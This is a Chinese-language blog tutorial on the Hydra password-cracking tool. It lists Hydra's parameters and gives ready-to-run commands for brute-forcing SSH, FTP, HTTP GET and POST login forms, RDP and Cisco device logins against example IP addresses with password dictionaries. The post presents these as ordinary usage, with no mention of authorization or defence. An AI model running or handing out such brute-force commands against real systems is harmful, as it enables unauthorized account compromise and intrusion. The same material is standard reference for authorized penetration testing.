• hydra使用教程


    一.简介

    hydra是著名黑客组织thc的一款开源的暴力密码破解工具,可以在线破解多种密码。可支持AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP等类型密码。

    二.使用方法

    hydra <参数> <IP地址> <服务名>
    hydra的参数是区分大小写的.
    hydra支持的服务有:telnet ftp ssh mysql mssql vnc pcanywhere RDP(3389)等.
    hydra的一些参数:

    -R 继续从上一次进度接着破解

    -S 采用SSL链接。

    -s PORT 可通过这个参数指定非默认端口。

    -l LOGIN 指定破解的用户,对特定用户破解。

    -L FILE 指定用户名字典。

    -p PASS 小写,指定密码破解,少用,一般是采用密码字典。

    -P FILE 大写,指定密码字典。

    -e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。

    -C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。

    -M FILE 指定目标列表文件一行一条。

    -o FILE 指定结果输出文件。

    -f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。

    -t TASKS 同时运行的线程数,默认为16。

    -w TIME 设置最大超时的时间,单位秒,默认是30s。

    -v / -V 显示详细过程。

    三.常用举例:

    1.爆破ssh

    对指定用户和指定密码:

    hydra.exe -l test -p 123456  -v 10.100.0.0 ssh

    对指定用户进行密码爆破:

    hydra.exe -l test -P mima.txt  -v 10.100.0.0 ssh

    2.爆破ftp

    hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
    hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV

    3.get方式提交,破解web密码

    hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
    hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php

    4.post方式提交

    hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"

    hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:<title>wrong username or password</title>"

    (参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中 的内容是表示错误猜解的返回信息提示。)

    5.破解rdp(3389)

    hydra ip rdp -l 用户名 -p 密码字典 -t 线程 -vV

    6.破解思科

    hydra -P pass.txt 10.36.16.18 cisco

    hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable

    上面是一些最常用的命令,还可以破解其它的一些协议,命令和这些类似。

  • 相关阅读:
    CSS之旅——第二站 如何更深入的理解各种选择器
    CSS之旅——第一站 为什么要用CSS
    记录一些在用wcf的过程中走过的泥巴路 【第一篇】
    asp.net mvc 之旅—— 第二站 窥探Controller下的各种Result
    asp.net mvc 之旅—— 第一站 从简单的razor入手
    Sql Server之旅——终点站 nolock引发的三级事件的一些思考
    Sql Server之旅——第十四站 深入的探讨锁机制
    Sql Server之旅——第十三站 对锁的初步认识
    Sql Server之旅——第十二站 sqltext的参数化处理
    Sql Server之旅——第十一站 简单说说sqlserver的执行计划
  • 原文地址:https://www.cnblogs.com/yonghegn/p/10022188.html
Copyright © 2020-2023  润新知